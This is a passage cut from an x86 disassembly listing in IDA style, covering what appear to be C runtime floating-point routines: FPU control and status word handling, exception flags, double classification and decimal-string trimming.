mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42197E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42197E: ; CODE XREF: sub_42194C+23j
test cl, 2
jz short loc_421991
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421991: ; CODE XREF: sub_42194C+35j
test cl, bl
jz short loc_4219A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4219A3: ; CODE XREF: sub_42194C+47j
test cl, 4
jz short loc_4219B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
or dword ptr [eax+4], 8
loc_4219B6: ; CODE XREF: sub_42194C+5Aj
test cl, 8
jz short loc_4219C9
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000090h
or dword ptr [eax+4], 10h
loc_4219C9: ; CODE XREF: sub_42194C+6Dj
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
push 2
mov ecx, [esi]
mov edx, [eax+8]
not ecx
and ecx, ebx
and edx, 0FFFFFFEFh
shl ecx, 4
or ecx, edx
pop edi
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
and ecx, 4
shl ecx, 1
and edx, 0FFFFFFF7h
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 1
and ecx, 4
and edx, 0FFFFFFFBh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 3
and ecx, edi
and edx, 0FFFFFFFDh
or ecx, edx
mov [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
not ecx
mov edx, [eax+8]
shr ecx, 5
and ecx, ebx
and edx, 0FFFFFFFEh
or ecx, edx
mov [eax+8], ecx
call sub_42206C
test al, bl
jz short loc_421A52
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_421A52: ; CODE XREF: sub_42194C+FDj
test al, 4
jz short loc_421A5D
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_421A5D: ; CODE XREF: sub_42194C+108j
test al, 8
jz short loc_421A68
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_421A68: ; CODE XREF: sub_42194C+113j
test al, 10h
jz short loc_421A72
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_421A72: ; CODE XREF: sub_42194C+11Ej
test al, 20h
jz short loc_421A7C
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_421A7C: ; CODE XREF: sub_42194C+128j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_421ABB
cmp eax, 400h
jz short loc_421AAD
cmp eax, 800h
jz short loc_421AA1
cmp eax, ecx
jnz short loc_421AC1
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421AA1: ; CODE XREF: sub_42194C+147j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_421AB7
; ---------------------------------------------------------------------------
loc_421AAD: ; CODE XREF: sub_42194C+140j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_421AB7: ; CODE XREF: sub_42194C+15Fj
mov [eax], ecx
jmp short loc_421AC1
; ---------------------------------------------------------------------------
loc_421ABB: ; CODE XREF: sub_42194C+139j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_421AC1: ; CODE XREF: sub_42194C+14Bj
; sub_42194C+153j ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_421AEC
cmp eax, 200h
jz short loc_421ADF
cmp eax, ecx
jnz short loc_421AF9
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_421AF9
; ---------------------------------------------------------------------------
loc_421ADF: ; CODE XREF: sub_42194C+185j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_421AF7
; ---------------------------------------------------------------------------
loc_421AEC: ; CODE XREF: sub_42194C+17Ej
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_421AF7: ; CODE XREF: sub_42194C+19Ej
mov [eax], ecx
loc_421AF9: ; CODE XREF: sub_42194C+189j
; sub_42194C+191j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
and ecx, 0FFFh
mov edx, [eax]
shl ecx, 5
and edx, 0FFFE001Fh
or ecx, edx
mov [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+50h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+50h], ecx
mov eax, [ebp+arg_0]
fld qword ptr [edi]
fstp qword ptr [eax+40h]
call sub_42207A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
nop
call near ptr 2680419h
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_421B73
and dword ptr [esi], 0FFFFFFFEh
loc_421B73: ; CODE XREF: sub_42194C+222j
test byte ptr [eax+8], 8
jz short loc_421B7C
and dword ptr [esi], 0FFFFFFFBh
loc_421B7C: ; CODE XREF: sub_42194C+22Bj
test byte ptr [eax+8], 4
jz short loc_421B85
and dword ptr [esi], 0FFFFFFF7h
loc_421B85: ; CODE XREF: sub_42194C+234j
test byte ptr [eax+8], 2
jz short loc_421B8E
and dword ptr [esi], 0FFFFFFEFh
loc_421B8E: ; CODE XREF: sub_42194C+23Dj
test [eax+8], bl
jz short loc_421B96
and dword ptr [esi], 0FFFFFFDFh
loc_421B96: ; CODE XREF: sub_42194C+245j
mov ecx, [eax]
mov edx, 0FFFFF3FFh
and ecx, 3
sub ecx, 0
jz short loc_421BCA
dec ecx
jz short loc_421BBE
dec ecx
jz short loc_421BB4
dec ecx
jnz short loc_421BCC
or byte ptr [esi+1], 0Ch
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BB4: ; CODE XREF: sub_42194C+25Dj
mov ecx, [esi]
and ch, 0FBh
or ch, 8
jmp short loc_421BC6
; ---------------------------------------------------------------------------
loc_421BBE: ; CODE XREF: sub_42194C+25Aj
mov ecx, [esi]
and ch, 0F7h
or ch, 4
loc_421BC6: ; CODE XREF: sub_42194C+270j
mov [esi], ecx
jmp short loc_421BCC
; ---------------------------------------------------------------------------
loc_421BCA: ; CODE XREF: sub_42194C+257j
and [esi], edx
loc_421BCC: ; CODE XREF: sub_42194C+260j
; sub_42194C+266j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_421BEC
dec ecx
jz short loc_421BE3
dec ecx
jnz short loc_421BF5
and [esi], edx
jmp short loc_421BF5
; ---------------------------------------------------------------------------
loc_421BE3: ; CODE XREF: sub_42194C+28Ej
mov ecx, [esi]
and ecx, edx
or ch, 2
jmp short loc_421BF3
; ---------------------------------------------------------------------------
loc_421BEC: ; CODE XREF: sub_42194C+28Bj
mov ecx, [esi]
and ecx, edx
or ch, 3
loc_421BF3: ; CODE XREF: sub_42194C+29Ej
mov [esi], ecx
loc_421BF5: ; CODE XREF: sub_42194C+291j
; sub_42194C+295j
fld qword ptr [eax+40h]
fstp qword ptr [edi]
pop edi
pop esi
pop ebx
pop ebp
retn
sub_42194C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421BFF proc near ; CODE XREF: sub_4218B4+10p
var_24 = qword ptr -24h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push ebx
push edi
mov edi, eax
and edi, 1Fh
push 1
test al, 8
pop ebx
jz short loc_421C2A
test byte ptr [ebp+arg_8], bl
jz short loc_421C2A
push ebx
call sub_4220AC
pop ecx
and edi, 0FFFFFFF7h
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C2A: ; CODE XREF: sub_421BFF+15j
; sub_421BFF+1Aj
test al, 4
jz short loc_421C44
test byte ptr [ebp+arg_8], 4
jz short loc_421C44
push 4
call sub_4220AC
pop ecx
and edi, 0FFFFFFFBh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421C44: ; CODE XREF: sub_421BFF+2Dj
; sub_421BFF+33j
test al, bl
jz loc_421D1E
test byte ptr [ebp+arg_8], 8
jz loc_421D1E
push 8
call sub_4220AC
pop ecx
mov eax, 0C00h
mov ecx, [ebp+arg_8]
and ecx, eax
jz loc_421CF6
cmp ecx, 400h
jz short loc_421CCE
cmp ecx, 800h
jz short loc_421CA6
cmp ecx, eax
jnz loc_421D16
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3F0
fnstsw ax
sahf
ja short loc_421C9E
fchs
loc_421C9E: ; CODE XREF: sub_421BFF+9Bj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CA6: ; CODE XREF: sub_421BFF+7Dj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CBE
fld dbl_43D3E0
jmp short loc_421CC6
; ---------------------------------------------------------------------------
loc_421CBE: ; CODE XREF: sub_421BFF+B5j
fld dbl_43D3F0
fchs
loc_421CC6: ; CODE XREF: sub_421BFF+BDj
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CCE: ; CODE XREF: sub_421BFF+75j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fnstsw ax
sahf
jbe short loc_421CE6
fld dbl_43D3F0
jmp short loc_421CEE
; ---------------------------------------------------------------------------
loc_421CE6: ; CODE XREF: sub_421BFF+DDj
fld dbl_43D3E0
fchs
loc_421CEE: ; CODE XREF: sub_421BFF+E5j
fstp [ebp+var_C]
fld [ebp+var_C]
jmp short loc_421D14
; ---------------------------------------------------------------------------
loc_421CF6: ; CODE XREF: sub_421BFF+69j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp dbl_427860
fld dbl_43D3E0
fnstsw ax
sahf
ja short loc_421D0E
fchs
loc_421D0E: ; CODE XREF: sub_421BFF+10Bj
fstp [ebp+var_C]
fld [ebp+var_C]
loc_421D14: ; CODE XREF: sub_421BFF+A5j
; sub_421BFF+CDj ...
fstp qword ptr [ecx]
loc_421D16: ; CODE XREF: sub_421BFF+81j
and edi, 0FFFFFFFEh
jmp loc_421DF4
; ---------------------------------------------------------------------------
loc_421D1E: ; CODE XREF: sub_421BFF+47j
; sub_421BFF+51j
test al, 2
jz loc_421DF4
test byte ptr [ebp+arg_8], 10h
jz loc_421DF4
push esi
xor esi, esi
test al, 10h
jz short loc_421D39
mov esi, ebx
loc_421D39: ; CODE XREF: sub_421BFF+136j
mov eax, [ebp+arg_4]
fld qword ptr [eax]
fstp [ebp+var_C]
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jz loc_421DE2
fld [ebp+var_C]
lea eax, [ebp+var_4]
push eax ; int
push ecx
push ecx ; double
fstp [esp+24h+var_24]
call sub_421FAB
mov eax, [ebp+var_4]
add esp, 0Ch
fstp [ebp+var_C]
lea ecx, [eax-600h]
cmp ecx, 0FFFFFBCEh
jge short loc_421D84
fldz
mov esi, ebx
fstp [ebp+var_C]
jmp short loc_421DD8
; ---------------------------------------------------------------------------
loc_421D84: ; CODE XREF: sub_421BFF+17Aj
fld [ebp+var_C]
fcomp dbl_427860
fnstsw ax
sahf
jnb short loc_421D96
mov edx, ebx
jmp short loc_421D98
; ---------------------------------------------------------------------------
loc_421D96: ; CODE XREF: sub_421BFF+191j
xor edx, edx
loc_421D98: ; CODE XREF: sub_421BFF+195j
mov al, byte ptr [ebp+var_C+6]
and eax, 0Fh
or al, 10h
mov word ptr [ebp+var_C+6], ax
mov eax, 0FFFFFC03h
cmp ecx, eax
jge short loc_421DCC
sub eax, ecx
loc_421DAF: ; CODE XREF: sub_421BFF+1CBj
test byte ptr [ebp+var_C], bl
jz short loc_421DBA
test esi, esi
jnz short loc_421DBA
mov esi, ebx
loc_421DBA: ; CODE XREF: sub_421BFF+1B3j
; sub_421BFF+1B7j
shr dword ptr [ebp+var_C], 1
test byte ptr [ebp+var_C+4], bl
jz short loc_421DC6
or byte ptr [ebp+var_C+3], 80h
loc_421DC6: ; CODE XREF: sub_421BFF+1C1j
shr dword ptr [ebp+var_C+4], 1
dec eax
jnz short loc_421DAF
loc_421DCC: ; CODE XREF: sub_421BFF+1ACj
test edx, edx
jz short loc_421DD8
fld [ebp+var_C]
fchs
fstp [ebp+var_C]
loc_421DD8: ; CODE XREF: sub_421BFF+183j
; sub_421BFF+1CFj
fld [ebp+var_C]
mov eax, [ebp+arg_4]
fstp qword ptr [eax]
jmp short loc_421DE4
; ---------------------------------------------------------------------------
loc_421DE2: ; CODE XREF: sub_421BFF+14Ej
mov esi, ebx
loc_421DE4: ; CODE XREF: sub_421BFF+1E1j
test esi, esi
pop esi
jz short loc_421DF1
push 10h
call sub_4220AC
pop ecx
loc_421DF1: ; CODE XREF: sub_421BFF+1E8j
and edi, 0FFFFFFFDh
loc_421DF4: ; CODE XREF: sub_421BFF+26j
; sub_421BFF+40j ...
test byte ptr [ebp+arg_0], 10h
jz short loc_421E0B
test byte ptr [ebp+arg_8], 20h
jz short loc_421E0B
push 20h
call sub_4220AC
pop ecx
and edi, 0FFFFFFEFh
loc_421E0B: ; CODE XREF: sub_421BFF+1F9j
; sub_421BFF+1FFj
xor eax, eax
test edi, edi
pop edi
pop ebx
setz al
leave
retn
sub_421BFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421E16(int,int,int,int,int,int,double,int)
sub_421E16 proc near ; CODE XREF: sub_421861+2Bp
; sub_4218B4+72p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
push [ebp+arg_4]
call sub_421EC4
test eax, eax
pop ecx
mov [ebp+var_1C], eax
jz short loc_421E81
mov eax, [ebp+arg_8]
push esi
mov [ebp+var_18], eax
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov eax, [ebp+arg_10]
mov esi, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_14]
push 0FFFFh
push [ebp+arg_20]
mov [ebp+var_C], eax
mov eax, dword ptr [ebp+arg_18]
mov [ebp+var_20], esi
mov dword ptr [ebp+var_8], eax
mov eax, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], eax
call sub_422089
lea eax, [ebp+var_20]
push eax
call sub_42482D
add esp, 0Ch
test eax, eax
jnz short loc_421E7B
push esi
call sub_421E9E
pop ecx
loc_421E7B: ; CODE XREF: sub_421E16+5Cj
fld [ebp+var_8]
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_421E81: ; CODE XREF: sub_421E16+14j
push 0FFFFh
push [ebp+arg_20]
call sub_422089
push [ebp+arg_0]
call sub_421E9E
fld [ebp+arg_18]
add esp, 0Ch
leave
retn
sub_421E16 endp
; =============== S U B R O U T I N E =======================================
sub_421E9E proc near ; CODE XREF: sub_4218B4+7Dp
; sub_421E16+5Fp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, 1
jz short loc_421EB9
jle short locret_421EC3
cmp eax, 3
jg short locret_421EC3
mov dword_4DBDDC, 22h
retn
; ---------------------------------------------------------------------------
loc_421EB9: ; CODE XREF: sub_421E9E+7j
mov dword_4DBDDC, 21h
locret_421EC3: ; CODE XREF: sub_421E9E+9j
; sub_421E9E+Ej
retn
sub_421E9E endp
; =============== S U B R O U T I N E =======================================
sub_421EC4 proc near ; CODE XREF: sub_421E16+9p
arg_0 = dword ptr 4
xor ecx, ecx
mov eax, offset dword_43D308
loc_421ECB: ; CODE XREF: sub_421EC4+18j
mov edx, [eax]
cmp edx, [esp+arg_0]
jz short loc_421EE1
add eax, 8
inc ecx
cmp eax, offset dbl_43D3E0
jl short loc_421ECB
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_421EE1: ; CODE XREF: sub_421EC4+Dj
mov eax, off_43D30C[ecx*8]
retn
sub_421EC4 endp
; =============== S U B R O U T I N E =======================================
sub_421EE9 proc near ; CODE XREF: sub_4218B4+41p
arg_0 = byte ptr 4
mov al, [esp+arg_0]
test al, 20h
jz short loc_421EF5
push 5
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EF5: ; CODE XREF: sub_421EE9+6j
test al, 8
jz short loc_421EFD
push 1
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421EFD: ; CODE XREF: sub_421EE9+Ej
test al, 4
jz short loc_421F05
push 2
jmp short loc_421F0B
; ---------------------------------------------------------------------------
loc_421F05: ; CODE XREF: sub_421EE9+16j
test al, 1
jz short loc_421F0D
push 3
loc_421F0B: ; CODE XREF: sub_421EE9+Aj
; sub_421EE9+12j ...
pop eax
retn
; ---------------------------------------------------------------------------
loc_421F0D: ; CODE XREF: sub_421EE9+1Ej
movzx eax, al
and eax, 2
shl eax, 1
retn
sub_421EE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F16(double)
sub_421F16 proc near ; CODE XREF: sub_41D055:loc_41D0DBp
; sub_41D19B:loc_41D221p
var_8 = qword ptr -8
arg_0 = qword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
frndint
fstp [ebp+var_8]
fld [ebp+var_8]
leave
retn
sub_421F16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421F28(double,int)
sub_421F28 proc near ; CODE XREF: sub_421FAB+82p
; sub_421FAB+98p
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_8]
mov ecx, [ebp+0Eh]
fld [ebp+arg_0]
add eax, 3FEh
and cx, 800Fh
fstp [ebp+var_8]
shl eax, 4
or eax, ecx
mov word ptr [ebp+var_8+6], ax
fld [ebp+var_8]
leave
retn
sub_421F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_421F51 proc near ; CODE XREF: sub_41D055+31p
; sub_41D19B+31p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor edx, edx
cmp [ebp+arg_4], 7FF00000h
jnz short loc_421F68
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 1
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F68: ; CODE XREF: sub_421F51+Cj
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_421F7A
cmp [ebp+arg_0], edx
jnz short loc_421F7A
push 2
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F7A: ; CODE XREF: sub_421F51+11j
; sub_421F51+1Ej ...
mov ecx, [ebp+arg_4+2]
mov eax, 7FF8h
and ecx, eax
cmp cx, ax
jnz short loc_421F8D
push 3
jmp short loc_421FA4
; ---------------------------------------------------------------------------
loc_421F8D: ; CODE XREF: sub_421F51+36j
cmp cx, 7FF0h
jnz short loc_421FA7
test [ebp+arg_4], 7FFFFh
jnz short loc_421FA2
cmp [ebp+arg_0], edx
jz short loc_421FA7
loc_421FA2: ; CODE XREF: sub_421F51+4Aj
push 4
loc_421FA4: ; CODE XREF: sub_421F51+15j
; sub_421F51+27j ...
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421FA7: ; CODE XREF: sub_421F51+41j
; sub_421F51+4Fj
xor eax, eax
pop ebp
retn
sub_421F51 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_421FAB(double,int)
sub_421FAB proc near ; CODE XREF: sub_421BFF+160p
var_18 = qword ptr -18h
var_8 = qword ptr -8
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
fld [ebp+arg_0]
fcomp dbl_427860
push esi
fnstsw ax
sahf
jnz short loc_421FCB
fldz
xor esi, esi
fstp [ebp+var_8]
jmp loc_422061
; ---------------------------------------------------------------------------
loc_421FCB: ; CODE XREF: sub_421FAB+12j
xor ecx, ecx
test word ptr [ebp+arg_0+6], 7FF0h
jnz short loc_42203A
test dword ptr [ebp+arg_0+4], 0FFFFFh
jnz short loc_421FE3
cmp dword ptr [ebp+arg_0], ecx
jz short loc_42203A
loc_421FE3: ; CODE XREF: sub_421FAB+31j
fld [ebp+arg_0]
fcomp dbl_427860
mov esi, 0FFFFFC03h
fnstsw ax
sahf
jnb short loc_421FFB
push 1
pop eax
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_421FFB: ; CODE XREF: sub_421FAB+49j
xor eax, eax
loc_421FFD: ; CODE XREF: sub_421FAB+4Ej
; sub_421FAB+69j
test byte ptr [ebp+arg_0+6], 10h
jnz short loc_422016
shl dword ptr [ebp+arg_0+4], 1
test byte ptr [ebp+arg_0+3], 80h
jz short loc_422010
or dword ptr [ebp+arg_0+4], 1
loc_422010: ; CODE XREF: sub_421FAB+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_421FFD
; ---------------------------------------------------------------------------
loc_422016: ; CODE XREF: sub_421FAB+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_422024
or byte ptr [ebp+arg_0+7], 80h
loc_422024: ; CODE XREF: sub_421FAB+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_422061
; ---------------------------------------------------------------------------
loc_42203A: ; CODE XREF: sub_421FAB+28j
; sub_421FAB+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_421F28
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_422061: ; CODE XREF: sub_421FAB+1Bj
; sub_421FAB+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_421FAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42206C proc near ; CODE XREF: sub_42194C+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_42206C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42207A proc near ; CODE XREF: sub_42194C+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_42207A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422089 proc near ; CODE XREF: sub_41D055+13p
; sub_41D055+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_422089 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4220AC proc near ; CODE XREF: sub_421BFF+1Dp
; sub_421BFF+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_4220C3
fld tbyte_43D408
fistp [ebp+arg_0]
wait
loc_4220C3: ; CODE XREF: sub_4220AC+Bj
test cl, 8
jz short loc_4220D8
fstsw ax
fld tbyte_43D408
fstp [ebp+var_8]
wait
fstsw ax
loc_4220D8: ; CODE XREF: sub_4220AC+1Aj
test cl, 10h
jz short loc_4220E7
fld tbyte_43D414
fstp [ebp+var_8]
wait
loc_4220E7: ; CODE XREF: sub_4220AC+2Fj
test cl, 4
jz short loc_4220F5
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_4220F5: ; CODE XREF: sub_4220AC+3Ej
test cl, 20h
jz short locret_422100
fldpi
fstp [ebp+var_8]
wait
locret_422100: ; CODE XREF: sub_4220AC+4Cj
leave
retn
sub_4220AC endp
; =============== S U B R O U T I N E =======================================
sub_422102 proc near ; CODE XREF: sub_41D124+Fp
push 30000h
push 10000h
call sub_424865
pop ecx
pop ecx
retn
sub_422102 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422114 proc near ; CODE XREF: sub_422152:loc_422176j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_427870
fstp [ebp+var_8]
fld dbl_427868
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_4276F8
fnstsw ax
sahf
jbe short loc_42214E
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_42214E: ; CODE XREF: sub_422114+33j
xor eax, eax
leave
retn
sub_422114 endp
; =============== S U B R O U T I N E =======================================
sub_422152 proc near ; CODE XREF: sub_41D124+5p
push offset aKernel32 ; "KERNEL32"
call near ptr 26D0551h
nop
test eax, eax
jz short loc_422176
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call near ptr 26F0000h
nop
test eax, eax
jz short loc_422176
push 0
call eax ; sub_41D124
retn
; ---------------------------------------------------------------------------
loc_422176: ; CODE XREF: sub_422152+Dj
; sub_422152+1Dj
jmp sub_422114
sub_422152 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42217B proc near ; CODE XREF: sub_41FF3F+3CBp
; DATA XREF: sub_41D13C+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_41DFEC
cmp eax, 65h
pop ecx
jz short loc_4221BB
loc_42218F: ; CODE XREF: sub_42217B+3Ej
inc esi
cmp dword_43D084, 1
jle short loc_4221A8
movsx eax, byte ptr [esi]
push 4
push eax
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4221B7
; ---------------------------------------------------------------------------
loc_4221A8: ; CODE XREF: sub_42217B+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_43CE78
mov al, [ecx+eax*2]
and eax, 4
loc_4221B7: ; CODE XREF: sub_42217B+2Bj
test eax, eax
jnz short loc_42218F
loc_4221BB: ; CODE XREF: sub_42217B+12j
mov cl, byte_43D088
mov al, [esi]
mov [esi], cl
inc esi
loc_4221C6: ; CODE XREF: sub_42217B+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_4221C6
pop esi
retn
sub_42217B endp
; =============== S U B R O U T I N E =======================================
sub_4221D5 proc near ; CODE XREF: sub_41FF3F+3E2p
; DATA XREF: sub_41D13C+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_43D088
mov cl, [eax]
test cl, cl
jz short loc_4221F1
loc_4221E5: ; CODE XREF: sub_4221D5+1Aj
cmp cl, dl
jz short loc_4221F1
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_4221E5
loc_4221F1: ; CODE XREF: sub_4221D5+Ej
; sub_4221D5+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_422222
loc_4221F8: ; CODE XREF: sub_4221D5+34j
mov cl, [eax]
test cl, cl
jz short loc_42220B
cmp cl, 65h
jz short loc_42220B
cmp cl, 45h
jz short loc_42220B
inc eax
jmp short loc_4221F8
; ---------------------------------------------------------------------------
loc_42220B: ; CODE XREF: sub_4221D5+27j
; sub_4221D5+2Cj ...
mov ecx, eax
loc_42220D: ; CODE XREF: sub_4221D5+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_42220D
cmp [eax], dl
jnz short loc_422218
dec eax
loc_422218: ; CODE XREF: sub_4221D5+40j
; sub_4221D5+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_422218
locret_422222: ; CODE XREF: sub_4221D5+21j
retn
sub_4221D5 endp
; =============== S U B R O U T I N E =======================================
